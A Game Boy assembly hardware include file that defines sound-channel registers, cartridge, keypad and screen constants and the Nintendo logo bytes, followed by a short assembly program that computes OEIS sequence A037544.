Selection of Sound output terminal (R/W) ; -- ; -- Bit 7 - Output sound 4 to SO2 terminal ; -- Bit 6 - Output sound 3 to SO2 terminal ; -- Bit 5 - Output sound 2 to SO2 terminal ; -- Bit 4 - Output sound 1 to SO2 terminal ; -- Bit 3 - Output sound 4 to SO1 terminal ; -- Bit 2 - Output sound 3 to SO1 terminal ; -- Bit 1 - Output sound 2 to SO1 terminal ; -- Bit 0 - Output sound 0 to SO1 terminal ; -- rNR51 EQU $FF25 rAUDTERM EQU rNR51 ; -- ; -- AUDENA/NR52 ($FF26) ; -- Sound on/off (R/W) ; -- ; -- Bit 7 - All sound on/off (sets all audio regs to 0!) ; -- Bit 3 - Sound 4 ON flag (doesn't work!) ; -- Bit 2 - Sound 3 ON flag (doesn't work!) ; -- Bit 1 - Sound 2 ON flag (doesn't work!) ; -- Bit 0 - Sound 1 ON flag (doesn't work!) ; -- rNR52 EQU $FF26 rAUDENA EQU rNR52 ;*************************************************************************** ;* ;* SoundChannel #1 registers ;* ;*************************************************************************** ; -- ; -- AUD1SWEEP/NR10 ($FF10) ; -- Sweep register (R/W) ; -- ; -- Bit 6-4 - Sweep Time ; -- Bit 3 - Sweep Increase/Decrease ; -- 0: Addition (frequency increases???) ; -- 1: Subtraction (frequency increases???) ; -- Bit 2-0 - Number of sweep shift (# 0-7) ; -- Sweep Time: (n*7.8ms) ; -- rNR10 EQU $FF10 rAUD1SWEEP EQU rNR10 ; -- ; -- AUD1LEN/NR11 ($FF11) ; -- Sound length/Wave pattern duty (R/W) ; -- ; -- Bit 7-6 - Wave Pattern Duty (00:12.5% 01:25% 10:50% 11:75%) ; -- Bit 5-0 - Sound length data (# 0-63) ; -- rNR11 EQU $FF11 rAUD1LEN EQU rNR11 ; -- ; -- AUD1ENV/NR12 ($FF12) ; -- Envelope (R/W) ; -- ; -- Bit 7-4 - Initial value of envelope ; -- Bit 3 - Envelope UP/DOWN ; -- 0: Decrease ; -- 1: Range of increase ; -- Bit 2-0 - Number of envelope sweep (# 0-7) ; -- rNR12 EQU $FF12 rAUD1ENV EQU rNR12 ; -- ; -- AUD1LOW/NR13 ($FF13) ; -- Frequency lo (W) ; -- rNR13 EQU $FF13 rAUD1LOW EQU rNR13 ; -- ; -- AUD1HIGH/NR14 ($FF14) ; -- Frequency hi (W) ; -- ; -- Bit 7 - Initial (when set, sound restarts) ; -- Bit 6 - Counter/consecutive selection ; -- Bit 2-0 - Frequency's higher 3 bits ; -- rNR14 EQU $FF14 rAUD1HIGH EQU rNR14 ;*************************************************************************** ;* ;* SoundChannel #2 registers ;* ;*************************************************************************** ; -- ; -- AUD2LEN/NR21 ($FF16) ; -- Sound Length; Wave Pattern Duty (R/W) ; -- ; -- see AUD1LEN for info ; -- rNR21 EQU $FF16 rAUD2LEN EQU rNR21 ; -- ; -- AUD2ENV/NR22 ($FF17) ; -- Envelope (R/W) ; -- ; -- see AUD1ENV for info ; -- rNR22 EQU $FF17 rAUD2ENV EQU rNR22 ; -- ; -- AUD2LOW/NR23 ($FF18) ; -- Frequency lo (W) ; -- rNR23 EQU $FF18 rAUD2LOW EQU rNR23 ; -- ; -- AUD2HIGH/NR24 ($FF19) ; -- Frequency hi (W) ; -- ; -- see AUD1HIGH for info ; -- rNR24 EQU $FF19 rAUD2HIGH EQU rNR24 ;*************************************************************************** ;* ;* SoundChannel #3 registers ;* ;*************************************************************************** ; -- ; -- AUD3ENA/NR30 ($FF1A) ; -- Sound on/off (R/W) ; -- ; -- Bit 7 - Sound ON/OFF (1EQUON,0EQUOFF) ; -- rNR30 EQU $FF1A rAUD3ENA EQU rNR30 ; -- ; -- AUD3LEN/NR31 ($FF1B) ; -- Sound length (R/W) ; -- ; -- Bit 7-0 - Sound length ; -- rNR31 EQU $FF1B rAUD3LEN EQU rNR31 ; -- ; -- AUD3LEVEL/NR32 ($FF1C) ; -- Select output level ; -- ; -- Bit 6-5 - Select output level ; -- 00: 0/1 (mute) ; -- 01: 1/1 ; -- 10: 1/2 ; -- 11: 1/4 ; -- rNR32 EQU $FF1C rAUD3LEVEL EQU rNR32 ; -- ; -- AUD3LOW/NR33 ($FF1D) ; -- Frequency lo (W) ; -- ; -- see AUD1LOW for info ; -- rNR33 EQU $FF1D rAUD3LOW EQU rNR33 ; -- ; -- AUD3HIGH/NR34 ($FF1E) ; -- Frequency hi (W) ; -- ; -- see AUD1HIGH for info ; -- rNR34 EQU $FF1E rAUD3HIGH EQU rNR34 ; -- ; -- AUD4LEN/NR41 ($FF20) ; -- Sound length (R/W) ; -- ; -- Bit 5-0 - Sound length data (# 0-63) ; -- rNR41 EQU $FF20 rAUD4LEN EQU rNR41 ; -- ; -- AUD4ENV/NR42 ($FF21) ; -- Envelope (R/W) ; -- ; -- see AUD1ENV for info ; -- rNR42 EQU $FF21 rAUD4ENV EQU rNR42 ; -- ; -- AUD4POLY/NR43 ($FF22) ; -- Polynomial counter (R/W) ; -- ; -- Bit 7-4 - Selection of the shift clock frequency of the (scf) ; -- polynomial counter (0000-1101) ; -- freqEQUdrf*1/2^scf (not sure) ; -- Bit 3 - Selection of the polynomial counter's step ; -- 0: 15 steps ; -- 1: 7 steps ; -- Bit 2-0 - Selection of the dividing ratio of frequencies (drf) ; -- 000: f/4 001: f/8 010: f/16 011: f/24 ; -- 100: f/32 101: f/40 110: f/48 111: f/56 (fEQU4.194304 Mhz) ; -- rNR43 EQU $FF22 rAUD4POLY EQU rNR43 ; -- ; -- AUD4GO/NR44 ($FF23) ; -- (has wrong name and value (ff30) in Dr.Pan's doc!) ; -- ; -- Bit 7 - Inital ; -- Bit 6 - Counter/consecutive selection ; -- rNR44 EQU $FF23 rAUD4GO EQU rNR44 ; silly name! ;*************************************************************************** ;* ;* Cart related ;* ;*************************************************************************** CART_ROM EQU 0 CART_ROM_MBC1 EQU 1 CART_ROM_MBC1_RAM EQU 2 CART_ROM_MBC1_RAM_BAT EQU 3 CART_ROM_MBC2 EQU 5 CART_ROM_MBC2_BAT EQU 6 CART_ROM_RAM EQU 8 CART_ROM_RAM_BAT EQU 9 CART_ROM_256K EQU 0 CART_ROM_512K EQU 1 CART_ROM_1M EQU 2 CART_ROM_2M EQU 3 CART_ROM_4M EQU 4 CART_ROM_8M EQU 5 CART_ROM_16M EQU 6 CART_RAM_NONE EQU 0 CART_RAM_16K EQU 1 CART_RAM_64K EQU 2 CART_RAM_256K EQU 3 CART_RAM_ENABLE EQU $0a CART_RAM_DISABLE EQU $00 ;*************************************************************************** ;* ;* Keypad related ;* ;*************************************************************************** PADF_DOWN EQU $80 PADF_UP EQU $40 PADF_LEFT EQU $20 PADF_RIGHT EQU $10 PADF_START EQU $08 PADF_SELECT EQU $04 PADF_B EQU $02 PADF_A EQU $01 PADB_DOWN EQU $7 PADB_UP EQU $6 PADB_LEFT EQU $5 PADB_RIGHT EQU $4 PADB_START EQU $3 PADB_SELECT EQU $2 PADB_B EQU $1 PADB_A EQU $0 ;*************************************************************************** ;* ;* Screen related ;* ;*************************************************************************** SCRN_X EQU 160 ; Width of screen in pixels SCRN_Y EQU 144 ; Height of screen in pixels SCRN_X_B EQU 20 ; Width of screen in bytes SCRN_Y_B EQU 18 ; Height of screen in bytes SCRN_VX EQU 256 ; Virtual width of screen in pixels SCRN_VY EQU 256 ; Virtual height of screen in pixels SCRN_VX_B EQU 32 ; Virtual width of screen in bytes SCRN_VY_B EQU 32 ; Virtual height of screen in bytes NINTENDO_LOGO: MACRO ;* ;* Nintendo scrolling logo ;* (Code won't work on a real GameBoy) ;* (if next six lines are altered.) DB $CE,$ED,$66,$66,$CC,$0D,$00,$0B,$03,$73,$00,$83,$00,$0C,$00,$0D DB $00,$08,$11,$1F,$88,$89,$00,$0E,$DC,$CC,$6E,$E6,$DD,$DD,$D9,$99 DB $BB,$BB,$67,$63,$6E,$0E,$EC,$CC,$DD,$DC,$99,$9F,$BB,$B9,$33,$3E ENDM ENDC ;HARDWARE_INC
; A037544: Base-3 digits are, in order, the first n terms of the periodic sequence with initial period 1,2,2. ; 1,5,17,52,158,476,1429,4289,12869,38608,115826,347480,1042441,3127325,9381977,28145932,84437798,253313396,759940189,2279820569,6839461709,20518385128,61555155386,184665466160,553996398481 add $0,1 mov $2,6 lpb $0 sub $0,1 mul $2,3 mov $1,$2 add $1,5 mov $2,$1 div $1,13 lpe